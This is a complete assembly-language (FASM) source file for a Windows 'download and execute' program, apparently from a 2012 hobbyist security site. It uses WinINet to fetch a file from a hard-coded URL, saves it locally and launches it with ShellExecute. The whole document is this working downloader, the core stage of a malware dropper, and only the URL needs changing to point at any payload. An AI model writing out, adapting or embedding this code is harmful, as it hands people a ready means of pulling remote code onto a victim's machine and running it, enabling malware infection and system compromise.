format PE GUI 4.0
; ASM Downloader
; Advanced Version ( InternetOpenUrl )
; Download and Execute a File
; 2012 By Wiremask.eu
; choose Entry point
entry start
include 'include/win32a.inc'
; Declare Constants and variables
section '.data' data readable writeable
_url db 'http://wiremask.eu/', 0
_file db 'file.htm', 0
InetHandle dd ?
UrlHandle dd ?
FileHandle dd ?
ReadNext dd ?
DownloadBuffer rb 400h
BufferLength = $ - DownloadBuffer
BytesWritten dd ?
section '.code' code readable executable
; Entry point
start:
; Initializes an application's use of the WinINet function
invoke InternetOpen,_url,0,0,0,0
cmp eax, 0
je DownloadFileError
mov dword [InetHandle], eax
; Opens a file specified _url
invoke InternetOpenUrl,dword [InetHandle],_url,0,0,0,0
cmp eax, 0
je DownloadFileError
mov dword [UrlHandle], eax
; Create File with specific attributes
invoke CreateFile,_file,GENERIC_WRITE,FILE_SHARE_WRITE,0,CREATE_NEW,FILE_ATTRIBUTE_NORMAL,0
cmp eax, 0
je DownloadFileError
mov dword [FileHandle], eax
inc dword [ReadNext]
ReadNextBytes:
cmp dword [ReadNext], 0
je DownloadComplete
; Read data from UrlHandle
invoke InternetReadFile,dword [UrlHandle],DownloadBuffer,BufferLength,ReadNext
; Write data to _file
invoke WriteFile,dword [FileHandle],DownloadBuffer,dword [ReadNext],BytesWritten,0
jmp ReadNextBytes
DownloadComplete:
invoke CloseHandle,dword [FileHandle]
invoke InternetCloseHandle,dword [UrlHandle]
invoke InternetCloseHandle,dword [InetHandle]
Execute:
; Call execution of _file
invoke ShellExecute,0,0,_file,0,0,SW_SHOW
DownloadFileError:
jmp Exit
Exit:
invoke ExitProcess,0
section '.idata' import data readable
library kernel, 'kernel32.dll',\
wininet, 'wininet.dll',\
shell32, 'shell32.dll'
import kernel,\
WriteFile, 'WriteFile',\
CreateFile, 'CreateFileA',\
CloseHandle, 'CloseHandle',\
ExitProcess, 'ExitProcess'
import wininet,\
InternetOpen, 'InternetOpenA',\
InternetOpenUrl, 'InternetOpenUrlA',\
InternetReadFile, 'InternetReadFile',\
InternetCloseHandle, 'InternetCloseHandle'
import shell32,\
ShellExecute, 'ShellExecuteA'